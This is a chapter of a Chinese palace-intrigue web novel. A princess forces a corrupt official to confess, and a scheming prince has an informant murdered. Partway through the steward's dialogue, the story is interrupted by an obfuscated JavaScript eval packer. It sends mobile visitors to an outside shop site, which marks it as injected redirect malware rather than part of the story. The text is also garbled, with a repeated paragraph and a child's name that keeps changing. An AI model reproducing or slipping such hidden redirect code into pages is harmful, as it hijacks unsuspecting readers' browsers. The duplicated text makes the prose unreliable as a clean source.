令牌掉落在地,骨碌碌滚到顾长渊脚边。
他身形一顿,随即若无其事地弯腰,将那令牌迅速拾起,拢入袖中。
指尖触到令牌背面那道极深的磨痕时,他整个人僵了一瞬。
错不了,是父亲的令牌。
他攥紧那块冰凉的铜铁,令牌的边缘深深硌进掌心。无数疑问涌上来,父亲的旧物,怎会夹在郑宏府的旧档箱里?
在袖中他用手摸了摸,令牌的背面有一道极深的摩痕。他攥紧了那块令牌,边缘硌着掌心微微发疼。
忽而他的脑子闪过了许多疑问,父亲的令牌怎么会夹在郑宏府的旧档箱里?
院中,禁军正将几箱旧册胡乱摞上柴堆。
姜明珠缓缓起身,接过禁军手中的火把,站到了柴堆前面。
“公主心肠歹毒!不是好人!”
一个稚嫩的童声划破满院寂静。
姜明珠转头看见,一个六岁小童从偏院的一角冲出来,身后跌跌撞撞追着一众奴仆。
这小童应该就是郑宏的次子,郑旭。
她对着这小童眨了眨眼,轻巧的说着:“小郎君,本公主从来都不是好人。”
“你要烧了我的画!那是我给父亲画的生辰礼!”小童弱弱说道。
姜明珠缓缓举起一沓纸,“你是说,这个?”
她手一松,火把直直坠入柴堆。旋即将那沓纸扬手一撒,纷扬落入火中。
哗,火焰沿着木柴、册页边缘往上爬,烟气冲上天去,灰烬像黑雪一般飘落下来。
郑迅看着她,泪珠在眼眶中打转。
“你过来。”姜明珠似哄小孩似的。
可郑迅到底还是六岁小童,看见她这般亲切,反而愈发害怕,双脚死死钉在原地。
“本宫叫你过来!”她没耐烦的吼道。
这一声断喝,郑迅一下子被惊哭了,慢慢地往姜明珠身边踱去。
姜明珠狠狠捏住郑迅的手,她拉着他看着眼前依旧闪烁的火焰,忽明忽暗的光,打在他们的脸上。
“你要是再哭,本宫就把你家这宅子一并烧了。”姜明珠恶狠狠的说。
忽然,郑迅浑身一震,抬头看着她,愣住了。
却见姜明珠早已别过脸,对着那翻卷的火舌厉声道:"烧得这么慢!多添些柴!"
一个身着绯色官袍的中年男子冲进这庭院,径直跪倒在地,嘴唇抖了两抖,话不成句:
“殿下!小儿愚钝!求公主放过小儿!”
“郑大人。”姜明珠松开郑迅的手,唇角微扬,“本宫可算把你盼来了。”
郑宏跪在地上,朝一旁的仆人递了个眼色。老仆慌忙上前,将郑迅半拖半抱地带出了院子。
“郑大人贪墨军饷,贻误军情,”姜明珠顿了顿,将纸笔往他面前一掷,“你自己写认罪书吧。”
纸笔哗啦散落在郑宏膝前。他浑身发颤,看看那张白纸,又看看满地狼藉的院子,再看看四周虎视眈眈的禁军,嘴唇翕动着:“殿下,臣冤枉!臣……”
"冤不冤枉的,本宫不管。"姜明珠歪了歪头,“可你若写了,家中妻儿老小,便不受牵连。郑大人,可听懂了?”
郑宏浑身一震,再不敢多说半个字。他伏在地上,拾起笔,手腕抖得几乎握不住。
顾长渊站在廊柱后的阴影里,一动不动。
他认得郑宏。
那日刑场父亲跪在断头台上,郑宏带着一个孩子远远站着。刀落的瞬间,他转过身将那孩子抱起,轻轻揽进怀里,揉了揉他的后脑勺。
哪怕隔着半座刑场,顾长渊竟还清晰记得这个动作。
手无意间触到了令牌的背面,他沿着那道磨痕摩挲了一下又一下。
他的目光落在姜明珠的侧脸上,她正懒洋洋地翻着那沓纸,一页接一页。
等她翻完最后一页,他才猛地意识到,自己一直在看她。
顾长渊想把目光收回来,但他没有。
姜明珠嘴上说着‘一把火将宅子全烧了’时,悄悄的塞了银子给那小童。所以那小童望向她时不是恐慌,是震惊。
郑宏写认罪书时,她说“不牵连家人”。那是说给郑宏听的权宜之计,还是她当真如此打算?
这一切到底是为何?
这些念头冒出时,顾长渊自己都怔了半瞬。
“愣着做甚?走。”
姜明珠从他身边走过,他抬腿跟了上去。
顾长渊想到今天在郑宏府上发生的一切,抬头望向姜明珠的背影。
步子忽然慢了半拍,脚下有一块碎瓷,他晃了晃脑袋,绕了一步。
像是绕过了什么东西,又像是什么都没有绕过。
···
御书房里,李程昭捻着那份认罪书,一目十行地扫过。嘴上噙着笑意,并不急着开口。
“皇叔,”姜明珠撅了嘴,“今儿演这出,可累惨明珠了。”
李程昭呷了口茶,紧不慢地笑道:
“那过几日皇叔便在御花园办一场赏花宴,专挑你爱的。好好犒赏犒赏我们的功臣。”
话音刚落,他不急不满的在案面上叩了两下,像忽然想起什么。
“对了,抄检书房可曾瞧见什么特别的物件?”
姜明珠心头一紧,面上却依旧是那副娇憨的模样,脱口便道:
“有!”
李程昭双眼微眯,脸上的笑意不变,只耐着性子等她的下文。
“郑宏家小童画的画,算不算?”说着,姜明珠自己先撑不住笑了,“皇叔你不知,那小童画了好大一摞!竟是些鸡鸭狗猪的,瞧着比礼部的贺图还有趣些。”
她笑得花枝乱颤,笑意却未达眼底,余光紧紧锁着李程昭的神情。
只见李程昭眼底那抹审视的暗影倏地散了,竟也跟着她朗笑出声。
“你这丫头,都多大了还取笑别人。”他摇着头,目光落在姜明珠身上十足的纵容,“你小时候,不也爱在孤的奏章上画这些?行了,既然辛苦,便早些回去歇着吧。”
姜明珠心头一松,躬身退了三步,转身推门而出。
李程昭端坐于紫檀椅中,目光落在案上那封认罪书上,拿起来转了三四圈,慢悠悠的说:
“出来吧。”
屏风后,武石应声而出。
他身后还跟着一个人,那人垂手躬身,碎步趋至案前。
李程昭连眼皮都没抬,淡淡开口:“那册子里夹的调兵记录呢?”
一旁站着的人,竟是郑宏府上那管事。
管事跪倒在地,抢着回话:“回王爷,公主命禁军搬东西那会儿,老奴那是眼都不敢眨。从书房到后院,那头尾衔接的,可是...”
武石见他越说越没边,眉头一皱:“挑要紧的说。”
“是是。公主只随手翻了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17805528|210701||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那箱子上面几册,压根没碰那本册子。点火焚毁时老奴特意盯着,里头那张纸,连同案牍一齐烧了个干净。”
说罢管事抬起头,对着李程昭扬起谄媚的笑,双手不自觉地往前伸了伸。
武石面无表情道:“少不了你的好处。”
李程昭缓缓抬起眼,脸上露出笑意:“李管事此番,帮了本王一个大忙。赏,黄金三十两。”
武石从旁捧出一个沉甸甸的木匣,管事两眼放光,激动地接过,磕头谢赏。
“罢了,回吧。”李程昭收回目光。
管事抱着木匣千恩万谢地转身,正欲推门。
“噗”,一声闷响。
一把利剑刺穿他的胸膛。
他轰然倒下时,小人得志的笑容仍凝固在脸上。
武石拔出长剑,取出一方白帕擦拭着剑上的血迹。
李程昭缓步踱至血泊旁,居高临下地睨着地上的管事。
“黄金,本王赏了。是你自己,没那个命拿。”
语罢,他皱了皱眉避开漫过来的血渍,对武石轻声吩咐:“地脏了。”
武石颔首,转而低声请示:“殿下,那郑宏如何处置?”
李程昭负手而立,轻蔑开口:
“一条没用的狗,随意处置。”
武石垂首领命。
···
姜明珠走出宫门时,天边的日头正一寸一寸地往城墙后面沉。
她走下台阶时脚底还有些发软,她摸了摸腰间的暗袋。
她又想起郑宏府那间书房来了,她一进去就觉出了不对。
郑宏此人,素来不拘小节,偏偏这书房井然有序。满地的纸张看似散乱,可她扫一眼便发现那些纸的分部是有章法的,像被人提前精心设计过一般。
过于寻常那便是不寻常,过于整齐便是这最大的破绽。
她拿了那调兵记录,便是咬住了瑞王投下的饵。她虽不知想引她去哪,可她至少知道一点,那便是不能顺着他设计好的路走。
于是她把那页调兵记录放回了原处,把鱼饵搁回钩上,让钩子空荡荡地悬在那里。
咬钩的人,永远不会是她。
想到这儿,姜明珠的嘴角扬起了一丝冷笑。
“公主,该回府了。”
顾长渊牵着马,从西侧的石狮子旁绕出来,暮色将他半张脸隐在暗处。
姜明珠忽然不想就这么回去。
“本宫想吃一口东西。”
顾长渊顿了顿:“殿下请吩咐。”
“城北有家铺子,”她慢吞吞地说着,“叫什么来着,‘陈记羊肉’。本宫今儿晌午就想起来,馋得很。”
顾长渊沉默了一息。
她扭头看他,果然,他眉心微微蹙了一下。
‘陈记羊肉’离公主府隔了半个京城,眼下日头已落,正是各家饭铺最忙的时候。就算他骑马赶过去,铺子里的吃食也早卖光了。
她故意的,她要的就是看他为难的样子。只有这样,她才能从那张波澜不惊的面具底下找到裂痕。
姜明珠站在台阶上,居高临下地望着他。
顾长渊紧了紧攥着缰绳的手,别开目光,低声道:“属下这就去。”
他翻身上马,狠狠一勒缰绳,策马冲入暮色。
脸上依旧是那副冷峻的神情,可那冷峻底下,压着一点连他自己都未曾察觉的东西。